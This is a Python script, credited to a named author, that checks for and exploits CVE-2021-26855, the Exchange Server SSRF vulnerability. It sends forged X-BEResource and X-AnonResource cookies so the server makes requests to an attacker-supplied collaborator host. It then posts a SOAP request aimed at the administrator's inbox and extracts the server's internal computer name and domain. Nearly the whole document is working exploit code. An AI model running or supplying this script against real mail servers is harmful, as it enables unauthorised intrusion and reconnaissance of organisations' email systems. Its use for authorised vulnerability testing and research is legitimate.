#!/usr/bin/python3
# CVE-2021-26855: Exchange Server SSRF Vulnerability
import requests
import argparse
import warnings; warnings.filterwarnings('ignore', message='Unverified HTTPS request')

parser = argparse.ArgumentParser(description="[*] Checker for CVE-2021-26855: Exchange Server SSRF Vulnerability")
parser.add_argument('-u', required=False, default=None, help='URL of the target site.')
parser.add_argument('-c', required=False, default=None, help='Collabrator client.')
args = vars(parser.parse_args())
url = args['u']
collabrator = args['c']

print('# Checker for CVE-2021-26855: Exchange Server SSRF Vulnerability\n# Coded by Abdullah AlZahrani https://Github.com/0xAbdullah')

if (url == None or collabrator == None):
    exit('\n[!] Usage: python3 CVE-2021-26855.py -u https://mail.example.com -c example.burpcollaborator.net')
else:
    print('[*] You set target to {}'.format(url))
    host = url.split("//")[-1].split("/")[0].split('?')[0]

def checker(url, collabrator):
    vulnerable = False

    cookies = {
        'X-AnonResource': 'true',
        'X-AnonResource-Backend': '{}/ecp/default.flt?~3'.format(collabrator),
        'X-BEResource': 'localhost/owa/auth/logon.aspx?~3'
    }

    headers = {
        'Host': '{}'.format(host),
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 pp9520',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'Accept-Encoding': 'gzip, deflate',
        'Connection': 'close'
    }

    response = requests.get('{}/owa/auth/x.js'.format(url), headers=headers, cookies=cookies, verify=False)

    try:
        if(collabrator in response.headers or response.status_code==500):
            print('[#] This site is vulnerable to CVE-2021-26855 Check your collabrator client.')
            vulnerable = True
            return vulnerable
        else:
            print('[*] It seems not vulnerable, but check your collabrator client!')
    except:
        print('[!] Nothing returned')

def getInfo(url, host):

    headers = {
        'Host': '{}'.format(host),
        'Content-Type': 'text/xml',
        'Accept-Encoding': 'gzip, deflate',
        'Connection': 'close',
    }

    data = '<?xml version=\'1.0\' encoding=\'utf-8\'?>\\x0d\\x0a <soap:Envelope\\x0d\\x0a xmlns:soap=\'http://schemas.xmlsoap.org/soap/envelope/\'\\x0d\\x0a xmlns:t=\'http://schemas.microsoft.com/exchange/services/2006/types\'\\x0d\\x0a xmlns:m=\'http://schemas.microsoft.com/exchange/services/2006/messages\'\\x0d\\x0a xmlns:xsi=\'http://www.w3.org/2001/XMLSchema-instance\'>\\x0d\\x0a <soap:Header>\\x0d\\x0a <t:RequestServerVersion Version=\\"Exchange2016\\" />\\x0d\\x0a </soap:Header>\\x0d\\x0a <soap:Body>\\x0d\\x0a <m:FindItem Traversal=\'Shallow\'>\\x0d\\x0a <m:ItemShape>\\x0d\\x0a <t:BaseShape>AllProperties</t:BaseShape>\\x0d\\x0a </m:ItemShape>\\x0d\\x0a <m:ParentFolderIds>\\x0d\\x0a <t:DistinguishedFolderId Id=\'inbox\'>\\x0d\\x0a <t:Mailbox>\\x0d\\x0a <t:EmailAddress>administrator@example.local</t:EmailAddress>\\x0d\\x0a </t:Mailbox>\\x0d\\x0a </t:DistinguishedFolderId>\\x0d\\x0a </m:ParentFolderIds>\\x0d\\x0a </m:FindItem>\\x0d\\x0a </soap:Body>\\x0d\\x0a </soap:Envelope>'

    response = requests.post('{}/ecp/default.flt'.format(url), headers=headers, data=data, verify=False)
    computerName = response.headers['X-FEServer']
    print('[-] Get some info about your target...')
    print('[#] Computer name: {}'.format(computerName))
    cookies = {'X-BEResource': '{}/EWS/Exchange.asmx?a=~1942062522'.format(computerName)}
    response = requests.post('{}/ecp/default.flt'.format(url), headers=headers, data=data, cookies=cookies, verify=False)
    domainName = response.headers['X-CalculatedBETarget'].replace(',', '').split()[1]; '.'.join(domainName.split('.')[-2:])
    print('[#] Domain: {}'.format(domainName))

def main():
    try:
        check = checker(url, collabrator)
        if(check):
            getInfo(url, host)
    except KeyboardInterrupt:
        exit('[!] Quitting!')

if __name__ == '__main__':
    main()
